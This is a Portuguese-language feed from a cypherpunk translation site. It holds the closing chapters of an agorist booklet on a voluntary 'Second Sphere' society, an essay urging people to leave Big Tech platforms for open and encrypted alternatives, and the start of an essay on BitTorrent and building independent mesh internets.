&lt;p>A única forma possível de fazer isso enquanto se preserva a autonomia individual é a interação de forma voluntária, significando que todos que interagem devem fazê-lo por vontade própria e que a única interação aceitável é uma na qual ambas as partes concordem completamente. Qualquer outra interação leva à violação da autonomia individual e deve ser considerada um crime.&lt;/p>
&lt;p>Dito isso, é lógico que até a delegação temporária de decisões aos outros e qualquer tipo de contrato ou lei que escolhermos para grupos sociais deve ser &lt;strong>unanimemente consensual&lt;/strong> por todas as partes delegantes ou delegadas, e todas as partes entrando num grupo ou formando um grupo que outros entrem. Qualquer coisa que não atenda esse padrão viola a autonomia individual. Onde não se pode chegar a um consenso, as partes conflitantes podem apenas encerrar sua interação e seguirem seus caminhos separados.&lt;/p>
&lt;hr>
&lt;p>Autonomia Individual também é recíproca, como mencionado acima. Garantir esse direito também significa que nós temos que ceder esse direito aos outros, quando o negamos aos outros, o negamos a nós mesmos.&lt;/p>
&lt;p>O que leva a três grandes consequências na interação social.&lt;/p>
&lt;p>Primeira, qualquer violação da autonomia (crime) pode apenas ser respondido e punido por uma igual redução da autonomia da parte agressora e a restauração da autonomia da parte prejudicada. Crimes são, portanto, resolvidos primeiramente ressarcindo a vítima e apenas depois aplicando o mesmo mal ao agressor. Isso constitui a máxima básica da justiça sob a autonomia individual e a mais alta punição justificável em qualquer caso.
Porém ela abre espaço para que a vítima perdoe o agressor a qualquer momento que desejar, ou a concordar voluntariamente com o mesmo em obter outra forma de restituição.&lt;/p>
&lt;p>Segunda, a única parte a receber uma restituição é a vítima, a única parte a pagar uma restituição é o agressor - uma ação que não tem vítima não pode levar à punição. Qualquer outro tipo de justiça seria ela mesma criminosa, porque viola a autonomia individual das partes que não agiram.&lt;/p>
&lt;p>Terceira, garantir a autonomia de alguém também implica no direito de defender-se contra violações desta sob os mesmos princípios de justiça mencionados acima. Para isso, um crime deve estar ocorrendo, e qualquer defesa deve ser relacionada à violação. Atirar em alguém porque ele pode ir a sua casa roubar algum dia não é permissível, e matar a pessoa por invasão também não.&lt;/p>
&lt;p>Quarta, mesmo que alguém tenha violado sua autonomia ou que não tenha garantido sua própria, isso não implica que a pessoa não tenha uma autonomia que deva ser respeitada por nós. Um cobrador de impostos não perde seu direito à autonomia, e não é justificável enforcá-lo na árvore mais próxima. Assim como o subsídio de impostos roubados do seu bolso não te permite usar um serviço muito além da quantia justificada da qual você seria restituído.&lt;/p>
&lt;hr>
&lt;p>Nós terminamos nossa excursão na filosofia da liberdade por aqui. Muitos pensamentos mais elaborados foram escritos por outras pessoas.&lt;/p>
&lt;p>Em vez disso, deve-se parar por um minuto e refletir sobre o assunto. Isso faz sentido? Isso também não nos pede que vivamos dessa forma? Não é algo tão correto que exige nosso apoio?&lt;/p>
&lt;p>O que é que a liberdade realmente nos dá? Certamente não é a prosperidade que faz dela tão importante para começar, apesar de ser um ótimo efeito colateral.&lt;/p>
&lt;p>Por um lado, a liberdade é o fundamento de nossa humanidade. É o que nos leva a nos motivar, a termos determinação, mas também é o que nos permite interagir de forma agradável com os outros - &lt;strong>Liberdade é Paz&lt;/strong>. Não a paz baseada em ameaças mútuas de aniquilação ou covardia, mas sim uma fundada no que nos faz especiais como humanos.&lt;/p>
&lt;p>Liberdade é o que nos dá espaço para nos tornarmos mais humanos, para viver de acordo com nossas crenças éticas e morais, para progredir, para ter paz com os outros.&lt;/p>
&lt;hr>
&lt;p>Para resumir, &lt;strong>não se pode ser totalmente humano sem também estar em liberdade.&lt;/strong>&lt;/p>
&lt;hr>
&lt;h2 id="primeiras-implicações">Primeiras Implicações&lt;/h2>
&lt;p>A ética da Autonomia Individual tem consequências para a cultura da Segunda Esfera, e as interações que temos com a Primeira Esfera.&lt;/p>
&lt;hr>
&lt;p>Nós temos que respeitar a autonomia individual das pessoas da Primeira Esfera, e até as decisões que eles ingenuamente delegaram às instituições e governos fora de seu controle. Isso não significa que os sistemas resultantes disso sejam éticos, mas eles são a vontade de muitos. Logo, não cabe a nós destruir esses sistemas, mas, melhor que isso, oferecer alternativas éticas, abrir portas para a Segunda Esfera onde pessoas podem abraçar sua humanidade por completo através da liberdade.&lt;/p>
&lt;p>Isso é necessário por vários motivos. Primeiro, isso nos permite manter a vantagem moral. Enquanto isso não é o motivo principal em si, justifica nossa posição e mostra respeito aos indivíduos &amp;ldquo;do lado de lá&amp;rdquo;, reduzindo a oposição emocional contra a Segunda Esfera. Segundo, é necessária a preservação da integridade ética da Segunda Esfera. Michael Gaddy disse: &amp;ldquo;O campo de batalha da liberdade é forrado de corpos dos que acreditam em concessões&amp;rdquo;. Concessões em nossas fundações éticas em relação à Primeira Esfera também vão manchar essas fundações na Segunda Esfera.&lt;/p>
&lt;p>Isso nos motiva a manter a paz com a Primeira Esfera enquanto cabe a nós, a não interferir na Primeira Esfera, a manter as duas esferas radicalmente separadas. Não há espaço para impasse.&lt;/p>
&lt;hr>
&lt;p>Esta separação estrita e o respeito pela autonomia individual também implica que nós não violamos as leis da Primeira Esfera sem necessidade, mas em vez disso nos isolemos completamente na Segunda Esfera ou vivamos uma vida dupla: Pagar impostos na Primeira Esfera e manter suas leis enquanto nós estamos por lá, e ignorar a Primeira Esfera sempre que estivermos na Segunda. Isso também inclui não nos beneficiar com a distribuição de espólios da Primeira Esfera e pagar pelos serviços que consumimos lá.&lt;/p>
&lt;p>Enquanto essas sugestões podem doer aos muitos arco-libertários, elas não são injustificadas. Tal comportamento não só protege a autonomia da Segunda Esfera como também mostra respeito à autonomia individual dos habitantes da Primeira Esfera, mesmo que essa seja desperdiçada. Além do mais, isso nos ajuda a tomar a decisão de investir na Segunda Esfera e se mudar para lá de vez, nos removendo da Primeira Esfera. Para a maioria de nós a mudança da Primeira para a Segunda Esfera será progressiva - uma escala variável de radicalização e envolvimento. Alguns vão interromper os planos por vários motivos, acarretando efeitos colaterais.&lt;/p>
&lt;p>A capacidade de implementar tal remoção progressiva e separação estrita faz necessária a delimitação entre as esferas. A mais clara dessas delimitações é que nossas zonas temporárias autônomas físicas e digitais e qualquer interação exclusiva entre habitantes da Segunda Esfera pertence apenas à mesma, com todo o resto estando na Primeira Esfera.&lt;/p>
&lt;h1 id="a-segunda-esfera---cultura">A Segunda Esfera - Cultura&lt;/h1>
&lt;h2 id="introdução-1">Introdução&lt;/h2>
&lt;p>É fácil entender que o desenvolvimento de nossa própria cultura da Segunda Esfera é necessária - mas tentativas de artificialmente criar uma cultura não são apenas impossíveis, mas contra-produtivas.&lt;/p>
&lt;p>Cultura é a ordem espontânea que é moldada por indivíduos de uma sociedade, refletindo suas decisões e mentalidades particulares.&lt;/p>
&lt;hr>
&lt;p>No entanto há várias coisas que contribuem para a formação de uma cultura.&lt;/p>
&lt;p>Uma das mais divertidas é a influência da arte, música e literatura que emana de um contexto cultural e o retro-alimenta. A imaginação de artistas se torna muitas vezes a inspiração de muitos. E vai ser muito animador ver a criatividade nessa área.&lt;/p>
&lt;p>Outra influência é a da necessidade. A cultura determina e otimiza as interações sociais, as quais são moldadas pela realidade que aquela sociedade se encontra. Desafios e ameaças, mas também abundâncias e bênçãos, específicas do ambiente fluem para e através da cultura. Compare as canções de esperança do povo do deserto com as danças energéticas das tribos da selva.&lt;/p>
&lt;p>Valores éticos, morais e religiosos são outro ponto a mencionar. Enquanto muitas vezes refletem a cultura já estabelecida, eles também tem como função serem fatores de fundação da cultura. Isso é evidente em culturas que não tiveram o processo de evolução por um longo período de tempo mas de forma rápida e abrupta, como a maior parte das américas.&lt;/p>
&lt;p>O último grande fator que contribui para uma formação cultural nova se dá na forma de empreendedores culturais. É a sua ousadia, coragem, lucidez e criatividade que planta as primeiras sementes de movimentos culturais e funda novas sociedades. Aqueles que desejam participar da formação de uma cultura da Segunda Esfera devem fazê-lo com confiança e ousadia, mas também em apoio mútuo e encorajamento. Muitos experimentos e fracassos serão necessários antes que qualquer grande avanço seja feito, e inevitavelmente cada membro terá um dedo da formação de uma nova sociedade.&lt;/p>
&lt;hr>
&lt;p>Por isso, devemos nos limitar a contribuir aos fatores de necessidade e valores éticos neste texto, mas não podemos deixar de permitir que nossos sonhos fluam em nossas contribuições.&lt;/p>
&lt;h2 id="a-pintura-do-cenário">A Pintura do Cenário&lt;/h2>
&lt;p>O primeiro fator decisivo para a cultura da Segunda Esfera é a sua identidade dupla, que consiste tanto de oposição à Primeira Esfera, quanto à adoção, até celebração, da liberdade e seus valores.&lt;/p>
&lt;p>Enquanto por um lado somos foras-da-lei, não somos miseráveis. Somos animados, cheios de cor mas também foras-da-lei sérios e realistas.&lt;/p>
&lt;p>Nossa sociedade não é homogênea, hierarquias são quase inexistentes. Onde existem hierarquias essas se dão pela autoridade do conhecimento, ação, caráter e existem apenas enquanto são ativamente apoiadas por quem afetam, que normalmente não é por muito tempo.&lt;/p>
&lt;p>Em vez disso, associações voluntárias que diferem em estilo e comportamento são atribuídas em uma rede de laços mútuos, votos e reputações pessoais. Ninguém lidera, mas muitos inspiram. É uma sociedade dinâmica, fechada, paralela, às vezes escondida - uma cripto-sociedade - mas sempre uma sociedade de foras-da-lei animados que valorizam o respeito mútuo.&lt;/p>
&lt;hr>
&lt;p>Reputação e respeito são provavelmente os aspectos de unificação mais fortes. Enquanto o respeito é de boa vontade estendido até que se prove desmerecido, a reputação deve ser conquistada pelo comportamento ético e empreendedorismo. Nós saudamos aqueles de nós que são bem sucedidos, que assumem riscos, e aqueles que se levantam após os fracassos. Honestidade e contratos são sagrados, e segredos são respeitados não só por proteger mas também por apimentar a vida.&lt;/p>
&lt;p>Nem a reputação nem o respeito são palavras vazias para nós. São nossas formas de vínculo e ajuda ao desenvolvimento mútuo. Nós as comunicamos tangencialmente, ao atestar pelos outros, subscrevermos, e estender vínculos para proteger nossos pares e parceiros de negócio. Nessa rede de relações tangíveis, as pessoas se colocam em uma escala de abundância, mas também excluem e acertam as contas rapidamente com malfeitores e golpistas.&lt;/p>
&lt;hr>
&lt;p>Nós também respeitamos a propriedade sem nos tornarmos escravos de nossos anfitriões. Todo mundo deixa bem claro onde suas fronteiras estão, e permissão para entrar é requisitada e regras locais respeitadas. Muitos usam de símbolos amplamente compreendidos para comunicar rapidamente o que pode e o que não pode ser tolerado em suas propriedades.&lt;/p>
&lt;p>Repare, no entanto, que ninguém tem que pedir permissão além disso, ou para fazer como deseja com aquilo que é seu. Ninguém deve ser consultado ou licenças devem ser obtidas. Indivíduos operam por conta própria, descentralizados, espontâneos - é mais fácil pedir perdão por erros honestos do que permissão. Mas nós não faltamos com respeito à ordens e regras &lt;strong>aceitas&lt;/strong>. Criminosos devem passar por julgamento de seus esquemas, e ladrões espertinhos normalmente acordam com suas restituições justas em posse de suas vítimas.&lt;/p>
&lt;p>Aqueles que vem para destruir nossa sociedade não são recebidos com tochas, mas são amplamente evitados e isolados em ostracismo, e frequentemente encontra suas fotos em cartazes nas entradas de nossas zonas, algumas anexadas a anotações não muito amigáveis.&lt;/p>
&lt;hr>
&lt;p>Respeito pela propriedade não se estende apenas a territórios físicos que ocupemos; ele é integral às partes menos visíveis de nosso mundo, muito do qual ainda se mantém oculto aos vigilantes, escondido atrás de comunicação digital, criptografada e anônima. Isso nos conecta e cria outra esfera onde a propriedade é a privacidade.&lt;/p>
&lt;p>Nós protegemos nossos segredos, os valorizamos. Proteger nossa privacidade se torna natural para nós, nos liberta dos olhos famintos de nossos inimigos. Mas nossa privacidade também é um símbolo chave para a autonomia que vivemos. Nós estamos tomando de volta o que o mundo externo totalitário roubou de nós. O que cercas são para átomos, a tecnologia de privacidade de dados é para os bits e bytes. Nós afirmamos que ambas, nossa privacidade e nossa autonomia, nos pertencem e somente a nós: Esse é nosso lugar.&lt;/p>
&lt;hr>
&lt;p>Nossos locais de comércio incitam espanto em nossos visitantes. Como uma cultura em exílio, nós desenvolvemos práticas incomuns de trocas, alguns de nós especializados em Tradecraft. Seja ao usar máscaras ao fechar um negócio ou apertos de mão às cegas para se chegar a um preço, isso é apenas parte de tudo que acontece. A maioria das trocas acontece no cyberespaço, apoiadas por vínculos e reputações se estendendo do bar do comerciante onde nos encontramos cara a cara, até às profundezas das plataformas seguras de mediação e garantia (escrow).&lt;/p>
&lt;hr>
&lt;p>Bisbilhotar as conversas em uma de nossas boates irrita o neófito. Palavras e costumes que são desconhecidos para a sujeira da Primeira Esfera, e uma disputa ocasional salpicada de palavrões como &amp;ldquo;Estatista&amp;rdquo;, &amp;ldquo;burocrata&amp;rdquo; ou &amp;ldquo;parasita&amp;rdquo;. De qualquer forma, a pessoa novata será bem-vinda e ensinada, e dada a oportunidade de se provar - caso demonstre vontade e habilidade.&lt;/p>
&lt;hr>
&lt;p>Nem todos nós vivemos aqui a toda a hora. Muitos levam uma vida dupla com uma visita ocasional aos mercados onde são saudados por seus pseudônimos. Outros operam seus negócios parte do dia na Primeira Esfera, e abrem a loja na Segunda Esfera após o pôr do sol. Ainda outros são verdadeiros fantasmas para a Primeira Esfera, não tendo nenhum rastro por lá a não ser ao ir de uma zona autônoma até outra, alguns deles aperfeiçoando seu estilo de vida ao nosso mundo, mas outros que já não aguentam mais a futilidade do outro lado.&lt;/p>
&lt;hr>
&lt;p>Nós somos tribos de mente e alma, não definidas por nação ou raça, mas apenas por pensamento e essência. Estamos por toda parte - e estamos aqui para ficar.&lt;/p>
&lt;hr>
&lt;p>Se você esperava um manual de apertos de mão secretos, de palavras para usar, moda para vestir, música a se ouvir e opiniões necessárias - você deve estar decepcionado agora.&lt;/p>
&lt;p>Não é nosso trabalho criar essa cultura, empacotá-la e entregá-la na sua porta para você. É o seu trabalho, não o nosso, vivê-la.&lt;/p>
&lt;h1 id="considerações-finais">Considerações Finais&lt;/h1>
&lt;p>O desenvolvimento de tribos da mente, a Segunda Esfera e a descentralização crescente da sociedade são inevitáveis, caso a humanidade dêva progredir e até sobreviver.&lt;/p>
&lt;p>Podemos ver isso em múltiplas áreas, especialmente na globalização do comércio, no fracasso da grande mídia, na comunicação digital individual e na queda do nacionalismo. Hoje as pessoas se sentem mais próximas das outras que vivem do outro lado do globo e seguem idéias e culturas muito mais parecidas do que de seus vizinhos locais.&lt;/p>
&lt;hr>
&lt;p>Esse processo natural de auto-libertação encontra oposição porque também quebra vários modelos de negócio, ameaça o parasitismo e o controle mental sobre a população, o que muitos sentem prazer ao fazê-lo. Esse processo também destrói o &lt;em>status quo&lt;/em> e o conforto de todos que dependem dele, e acaba com o meme &amp;ldquo;todo mundo sofre igual&amp;rdquo; que leva muitos que foram prejudicados a perpetuar esse comportamento abusivo.&lt;/p>
&lt;hr>
&lt;p>Enquanto essa pode ser uma afirmação enorme, é também verdade: Se nós não agirmos e implementarmos mais liberdade, os dias da humanidade podem muito bem estar contados.&lt;/p>
&lt;p>Nós vivemos em tempos interessantes que vão moldar o futuro, e é nossa responsabilidade moldá-lo de uma forma humana, livre e ética. Ninguém mais vai, e é chegada a hora de parar de pedir permissão e inventar desculpas.&lt;/p>
&lt;p>Se você já quis salvar o mundo - essa é a sua chance. E se você só quer viver de forma &amp;ldquo;correta&amp;rdquo; e não está interessado no grande esquema das coisas, essa é sua chance também.&lt;/p>
&lt;p>Nós já mencionamos que vai ser divertido?&lt;/p>
&lt;h1 id="próximos-passos">Próximos Passos&lt;/h1>
&lt;p>Caso você ache essa estratégia atraente, a questão de onde ir a partir daqui precisa ser respondida. Aqui estão algumas dicas de como prosseguir:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Tenha como objetivo alcançar a liberdade com base nesta estratégia ou em uma variação dela.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Diga aos outros que você está comprometido em ser ativo pela liberdade.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Dedique regularmente parte do seu tempo para trabalhar na Segunda Esfera.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Comece a economizar, então você pode investir dentro da Segunda Esfera quando tiver oportunidade.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Leve a privacidade digital a sério. Comece a usar PGP, I2P e similares. Aprenda sobre comportamentos seguros.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Existem algumas zonas autônomas digitais por aí. Junte-se a elas e passe algum tempo construindo sua reputação.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Se conecte aos outros, não apenas no digital mas também no físico. Tomem algumas juntos, ou inicie um projeto. Declare suas reuniões como autônomas.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Desista do pensamento coletivista, especialmente pedir permissão ou exigir que outros te apoiem antes que você faça qualquer coisa.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Desista da cruzada por homogeneidade filosófica. Nós sempre vamos discordar em alguns detalhes.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Inicie ou apoie cambistas independentes locais. Construa uma posição em moedas digitais, assim você pode participar do comércio paralelo.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Viva uma cultura de Liberdade. Apoie a autonomia de outros visivelmente: Respeite-os!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Contribua com gentileza e força ao mundo. Caridade e justiça cabe a VOCÊ.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Encoraje outros a trabalhar pela liberdade, que invistam e produzam.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Se você é um artista, escritor, músico, designer de moda (ou sei lá), solte suas asas criando nossa nova cultura.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Comece por definir seus limites: Evite pessoas que atacam ativamente a liberdade e que negam a autonomia aos outros.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>&lt;strong>Se você gosta desse livro:&lt;/strong>&lt;/p>
&lt;p>Se este livro te ajudou, lhe foi prazeroso ou apenas te deu novas idéias para pensar a respeito, por favor nos dê um &amp;ldquo;obrigado&amp;rdquo; enviando alguns Bitcoins para:&lt;/p>
&lt;p>&lt;strong>1DrjUiCT4Wzij8hLYBTYmfPubZMNf2PubU&lt;/strong>&lt;/p>
&lt;hr>
&lt;h1 id="notas-do-tradutor-1">Notas do Tradutor&lt;/h1>
&lt;p>O objetivo desse projeto foi manter a tradução acessível ao público geral sem perder a fidelidade com a obra original.
Vários maneirismos dos autores foram mantidos, algumas expressões não foram traduzidas para facilitar pesquisas por parte do leitor, afinal traduzir uma terminologia técnica resultaria em páginas de pesquisa em branco e quase nenhuma referência.&lt;/p>
&lt;p>Cypherpunks Brasil é uma iniciativa de proteção à privacidade e de livre acesso à informação. Além desse livreto também traduzimos artigos e papers sobre criptografia, liberdade e economia, de renomados autores como Ross Ulbricht, Nick Szabo, Hal Finney e Timothy C. May.&lt;/p>
&lt;p>&lt;strong>Nos acompanhe:&lt;/strong>&lt;/p>
&lt;p>&lt;a href="https://odysee.com/@CypherpunksBrasil" target="_blank" rel="noopener noreferrer">https://odysee.com/@CypherpunksBrasil&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://cypherpunks.com.br">https://cypherpunks.com.br&lt;/a>
&lt;/p>
&lt;hr>
&lt;h2 id="apoie-o-projeto">Apoie o Projeto&lt;/h2>
&lt;p>Autores originais:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>1DrjUiCT4Wzij8hLYBTYmfPubZMNf2PubU&lt;/strong> (Bitcoin)&lt;/li>
&lt;/ul>
&lt;p>Equipe de tradução:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>nano_1qxiucbj68azkjg8himb8qdbdwwjhzqebh18hmrkjhoa5ftaanw1wn4hjsrr&lt;/strong> (Nano)&lt;/li>
&lt;li>&lt;strong>bc1q40s06f7xev29t0e8t85fn2ml9awusj4cjd764a&lt;/strong> (Bitcoin)&lt;/li>
&lt;li>&lt;strong>bGiPMuukwRPYgDUnZ42JTphrGt4x24o54x&lt;/strong> (Lbry)&lt;/li>
&lt;/ul></content:encoded></item><item><title>A Internet nos Ofereceu Liberdade, Mas Nós Escolhemos a Regra Corporativa</title><link>https://cypherpunks.com.br/documentos/a-internet-ofereceu-liberdade-escolhemos-regras-corporativas/</link><pubDate>Fri, 13 Nov 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-internet-ofereceu-liberdade-escolhemos-regras-corporativas/</guid><description>Leia qualquer um dos escritos clássicos dos cypherpunks ou dos cripto-anarquistas e uma coisa é certa: a internet nos ofereceu liberdade. Embora os movimentos de código aberto e ponto a ponto (p2p) ainda estejam vivos e bem em certos cantos da Internet, a maioria de nós escolheu a regra corporativa.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/the-convenience-you-demanded-is-now-mandatory.jpeg" loading="lazy"
width="1137" height="1254"
/>
&lt;/p>
&lt;p>&lt;/p>
&lt;p>Leia qualquer um dos escritos clássicos dos cypherpunks ou dos cripto-anarquistas e uma coisa é certa: a internet nos ofereceu liberdade. Embora os movimentos de código aberto e ponto a ponto (p2p) ainda estejam vivos e bem em certos cantos da Internet, a maioria de nós escolheu a regra corporativa.&lt;/p>
&lt;p>Embora as criptomoedas nos ofereçam um meio de troca que poderia ser independente de Wall Street, grandes bancos e do temido estado, muitos visitam exchanges que exigem que você confirme sua identidade ao estado e algumas até vinculam suas contas bancárias, em vez de usar recursos como o Local Bitcoins que permitiriam transações mais anônimas.&lt;/p>
&lt;p>Enquanto o movimento p2p nos ofereceu uma visão da economia compartilhada que era verdadeiramente ponto a ponto, muitos, em vez disso, elogiam aplicativos corporativos que atuam como terceiros entre os pares, definindo as regras e tomando uma parte dos lucros ao fornecer pouco mais do que um aplicativo em troca; um aplicativo que poderia ter sido facilmente financiado por crowdfunding, de propriedade cooperativa de seus usuários e o tornado de código aberto para que todos pudessem utilizar como quisessem. Saudamos Uber, Lyft, AirBnB, etc. como exemplos da &amp;ldquo;economia compartilhada&amp;rdquo;, em vez de buscarmos as verdadeiras opções de economia compartilhada, como Cell 411, Ridesharing ou Couchsurfing.org, que operam em um sistema verdadeiramente ponto a ponto anti-moda corporativa.&lt;/p>
&lt;p>Embora nos tenham oferecido formas de comunicação e mídia social descentralizadas e criptografadas, muitos de nós ainda visitamos o Facebook, Twitter, Instagram, Discord e Tik Tok em vez de nomes como Mastodon, Minds, MeWe, Element e Signal, permitindo assim que nossos dados sejam cultivados com fins lucrativos e entregues a agências governamentais sob o pretexto de segurança. Poderíamos ter facilmente escolhido nossa privacidade, mas em vez disso escolhemos &amp;ldquo;conveniência&amp;rdquo;, embora eu não tenha certeza sobre o que exatamente é conveniente em deixar que outros invadam nossa privacidade voluntariamente quando alternativas perfeitamente funcionais existem. E então, depois de entregar de boa vontade tanto poder a essas plataformas da Big Tech, alguns ficam surpresos e sentem-se traídos quando essas mesmas plataformas censuram e banem pessoas por suas visões políticas ou outras métricas que eles escolheram implementar por meio de decreto hierárquico.&lt;/p>
&lt;p>Embora tenhamos oferecido opções de código aberto e / ou criptografadas, como Linux, GIMP, Icedrive, CryptDrive, Open Office, CryptPad, Riseup, Protonmail, etc., muitos ainda escolhem opções como Windows, Photoshop, Google Drive, Google Docs, Gmail, etc., assim, forrando os bolsos dos gordos corporativos e centralizando ainda mais seu controle sobre a internet ao invés de abraçar a descentralização e fortalecer criadores e comunidades menores para que possam compartilhar e colaborar uns com os outros para criar uma infinidade de plataformas incríveis.&lt;/p>
&lt;p>Em um momento em que a videoconferência é muito mais necessária, a Zoom está ganhando muito dinheiro e continuamente exibindo o fato de que eles não se importam em nada com a privacidade do consumidor e tendo a audácia de – depois que foi descoberto que não havia criptografia, mesmo eles afirmando o contrário – fornecer serviços de criptografia apenas para aqueles que pagam mais por eles. Tudo isso enquanto alternativas criptografadas mais seguras, como Jitsi e Agora.io, não são usadas em comparação.&lt;/p>
&lt;p>Inferno, mesmo aqui no C4SS, nós anarquistas autoproclamados ainda não podemos ajudar, mas nos entregamos ao governo corporativo. Operamos a partir de um Grupo do Google, fazemos nossa edição no Google Docs, usamos o Zoom para nossas reuniões, vendemos pela Amazon&amp;hellip; deveríamos ser mais espertos (a propósito, você pode comprar nossos livros em nossa loja pessoal em vez de comprar via Amazon, portanto, não há necessidade de apoiar uma empresa que tem contrato com a ICE).&lt;/p>
&lt;p>A Internet nos ofereceu liberdade do controle corporativo, mas jogamos fora essa oferta para continuar com prazer a tradição de lamber as botas corporativas. Muitos afirmam fazer isso por conveniência, mas desde quando é conveniente entregar todos os nossos dados pessoais de bom grado para empresas da Big Tech?&lt;/p>
&lt;p>A internet nos ofereceu liberdade e nós a desperdiçamos. No entanto, a oferta ainda está lá. Está ao nosso alcance. Ainda temos a chance de lucrar com essa oferta e fazer da Internet o bastião da liberdade que foi profetizado por nossos antepassados cypherpunks e cripto-anarquistas. Será trabalhoso. Nem sempre será a transição mais fácil ou suave. Isso vai levar tempo e pesquisa. Mas dane-se caso não valha a pena no final. Então, vamos trabalhar criando a Internet que ansiamos ver.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/53608" target="_blank" rel="noopener noreferrer">https://c4ss.org/content/53608&lt;/a>
&lt;/p></content:encoded></item><item><title>Como podemos reconquistar a Internet criando internets em letra minúscula</title><link>https://cypherpunks.com.br/documentos/como-reconquistar-a-internet/</link><pubDate>Wed, 11 Nov 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/como-reconquistar-a-internet/</guid><description>Ainda podemos aprender com o sucesso do BitTorrent vinte anos depois? Se quisermos aceitar a “oferta de liberdade da Internet”, como previsto por gerações anteriores otimistas, devemos (re)aprender esta lição vital: a Internet é tangencial. Precisamos apenas criar uma internet.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="tech-learning-collective">Tech Learning Collective&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Em abril de 2001, cinco meses antes do 11 de setembro, Bram Cohen começou a projetar um novo protocolo de compartilhamento de arquivos que mudaria quase sozinho a face das indústrias de música, TV e cinema nas próximas duas décadas. A tecnologia em si não era uma ideia completamente nova. Afinal, tecnologias semelhantes, como o conhecido File Transfer Protocol (FTP), já haviam sido projetadas e implantadas para copiar arquivos entre computadores. O que o tornou tão potente foi a maneira como ele refletiu a estrutura orgânica fraturada de seu meio subjacente, a própria Internet.&lt;/p>
&lt;p>Em vez de tratar cada arquivo como um único todo indivisível, essa nova tecnologia separou cada arquivo em um conjunto de peças de tamanhos semelhantes e tratou cada peça independentemente de qualquer outra. Ao contrário das tecnologias cliente-servidor anteriores, como o FTP, esta nova tecnologia “ponto a ponto” poderia recuperar qualquer parte do todo de qualquer outro ponto que já tivesse uma cópia dessa parte, mesmo que esse ponto não tivesse todas as partes como um servidor tradicional faria.&lt;/p>
&lt;p>Essa nova tecnologia foi chamada BitTorrent, e sua tecnologia de transferência de arquivos segmentados é, até hoje, a ruína de guardiões corporativos como a &lt;em>Record Industry Association of America (RIAA)&lt;/em> e a &lt;em>Motion Picture Association of America (MPAA)&lt;/em>. O BitTorrent teve sucesso porque espelhou a natureza descentralizada da rede onde foi implantado, a Internet. O BitTorrent e a Internet são tecnologias que não requerem nenhuma permissão especial ou produto para se conectar, interoperar ou estender. Se você tiver um computador executando um sistema operacional com uma pilha de software TCP/IP instalada, como qualquer Windows, macOS ou distribuições GNU/Linux modernos, poderá ampliar a Internet. Tudo o que você precisa fazer é conectar seu computador a outro computador já pré-conectado a ela.&lt;/p>
&lt;p>Ainda podemos aprender com o sucesso do BitTorrent vinte anos depois? Se quisermos aceitar a “oferta de liberdade da Internet”, como previsto por gerações anteriores otimistas, devemos (re)aprender esta lição vital: a Internet é tangencial. Precisamos apenas criar uma internet.&lt;/p>
&lt;p>A Internet(com I maiúsculo) é o nome de uma rede específica. A Internet “hospeda” computadores com nomes como Google, Facebook e Wall Street Journal. Em contraste, a palavra internet(com i minúsculo) descreve qualquer rede de redes interconectadas. Uma internet pode hospedar tudo.&lt;/p>
&lt;p>Essa distinção é absolutamente crítica. Para conectar seu computador à Internet, você deve desembolsar moeda fiduciária para uma empresa como a Comcast, Verizon ou Rogers. Existem, no entanto, muitas internet às quais você pode se conectar gratuitamente, como o Guifi na Espanha ou o NYCMesh aqui na cidade de Nova York. Ao contrário da Internet, você pode até criar uma nova internet por conta própria, opcionalmente conectando-a a qualquer outra internet que deseje e possa se conectar a você.&lt;/p>
&lt;p>Antes de a Internet ser A Internet, ela era simplesmente uma internet. Para reconquistar a Internet das forças da industrialização que sufocam a promessa de liberdade online, devemos nos concentrar primeiro na construção de novas internets: devemos quebrar a Internet e nosso entendimento dela em pedaços, assim como os arquivos segmentados do BitTorrent, para podermos colaborativamente reconstruí-la e, no processo, ameaçar o literal percentual de mercado e o metafórico percentual de mentes que esses monopólios atualmente têm sobre nós.&lt;/p>
